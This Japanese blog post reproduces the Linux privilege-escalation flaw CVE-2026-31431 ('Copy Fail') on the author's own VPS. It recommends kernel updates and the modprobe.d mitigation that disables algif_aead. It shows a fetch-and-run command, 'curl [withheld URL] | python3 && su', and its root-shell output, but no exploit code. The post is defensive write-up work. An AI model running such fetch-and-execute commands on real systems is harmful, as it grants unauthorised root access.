0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

CVE-2026-31431、Copy Failを自分のVPSに対して実行してみた

0
Posted at

CVE-2026-31431「Copy Fail」を自分の契約VPSで検証してみた

⚠️ 警告・免責事項

本記事の検証は、すべて筆者自身が契約・管理しているVPSに対してのみ実施しています。

脆弱性の検証(権限昇格やエクスプロイトの実行)を、自分が正当な権限を持たないサーバーやネットワークに対して行うことは、不正アクセス禁止法などの法律に違反する犯罪行為です。

他人のサーバー、レンタルサーバー上の他者領域、業務で管理を任されているサーバーであっても、明示的な許可なく実行してはいけません。

本記事は、攻撃手法を助長するものではなく、「パッチ適用・対策設定がいかに重要か」を共有することを目的としています。実際の攻撃用スクリプトやエクスプロイトのURLは記載していません。


はじめに

カーネルの権限昇格脆弱性「Copy Fail」(CVE-2026-31431)が話題になっていたので、自分が契約しているVPSが対象バージョンに該当することに気がづき、検証環境として実際に試してみました。

その記録と、検証を通して感じたことをまとめます。

📝 脆弱性の詳細な技術仕様については、公開前に必ずJVN / NVD等の公式情報で最新の内容を確認してください。本記事の説明は筆者の理解に基づくものです。


Copy Fail 脆弱性とは

「Copy Fail」(CVE-2026-31431)は、Linuxカーネルに存在するローカル権限昇格(LPE: Local Privilege Escalation)の脆弱性です。

一般ユーザー権限でシェルにアクセスできる状態であれば、特定の操作を通じてroot権限を奪取できてしまうという点が特徴です。

影響を受けるカーネルバージョン

  • 一定範囲のLinuxカーネルが対象
  • 筆者のVPSのカーネルバージョンも、この対象範囲に該当していました

検証環境

項目 内容
OS Ubuntu 24.04.4
カーネルバージョン 6.8.0-36-generic
サーバー 筆者が契約しているVPS

上記の通り、カーネルバージョンが脆弱性の対象範囲に該当していました。


検証手順

1. 一般ユーザーでSSHログイン

まず、一般ユーザー(ubuntu)でSSHログインします。

ubuntu@os3-xxxxx:~$

2. エクスプロイトの実行

今回は curl コマンドでエクスプロイト用のPythonスクリプトをダウンロードし、そのままパイプで実行する方法を試しました。

攻撃用のURL・スクリプトは本記事には掲載しません。 以下のコマンド例ではURLを伏せています。

ubuntu@os3-xxxxx:~$ curl https://[攻撃用URL]/exp | python3 && su

結果:root権限への昇格

実行すると…

ubuntu@os3-xxxxx:/usr/bin$ curl https://[攻撃用URL]/exp | python3 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   1543      0 --:--:-- --:--:-- --:--:--  1542
# whoami
root
#

一般ユーザーでログインしていたにもかかわらず、whoami の結果が root と表示されました。

つまり、root権限への昇格に成功しています。


補足:一撃では成功しなかった(対策設定が効いていた)

実は、最初から一発で成功したわけではありませんでした。

筆者のVPSには、Copy Failに対する暫定的な対策設定があらかじめ施されていたのです。

Ubuntu 20.04以降での暫定対処策として、modprobe.dalgif_aead モジュールを無効化する方法が知られています。

この対策設定が有効になっていたため、今回の検証にあたっては、手動で該当設定をコメントアウトして無効化したうえで実行しました。

裏を返せば、カーネルをアップデートしていなくても、この対策設定が入っているだけで攻撃は失敗していたということになります。


失敗パターンの結果

対策設定が有効な状態(=モジュールが無効化されている状態)では、スクリプトは以下のようにエラーで停止しました。

ubuntu@os3-xxxxx:~$ curl https://[攻撃用URL]/exp | python3 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   2318      0 --:--:-- --:--:-- --:--:--  2320
Traceback (most recent call last):
  File "<stdin>", line 9, in <module>
  File "<stdin>", line 5, in c
FileNotFoundError: [Errno 2] No such file or directory

脆弱性が利用する経路(モジュール)が塞がれているため、スクリプトが必要なファイルにアクセスできず失敗していることがわかります。


感想・まとめ

  • 一般ユーザーのシェルにログインできる状態という前提条件はあるものの、手順自体は非常にシンプルで、専門知識がなくてもすぐに実行できてしまう点に怖さを感じました。
  • 根本的にはカーネルを最新版にアップデートすることが最重要です。
  • ただし、すぐにアップデートできない場合でも、modprobe.d での対策設定(暫定対処策)を入れておくだけで攻撃を防げることが、今回の検証で実感できました。
  • 「とりあえず対策設定だけでも入れておく」ことの価値は大きいと感じました。

繰り返しになりますが、本記事の検証はすべて筆者自身が契約・管理するVPSに対して行ったものです。脆弱性の検証は、必ず自分が権限を持つ環境でのみ実施してください。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?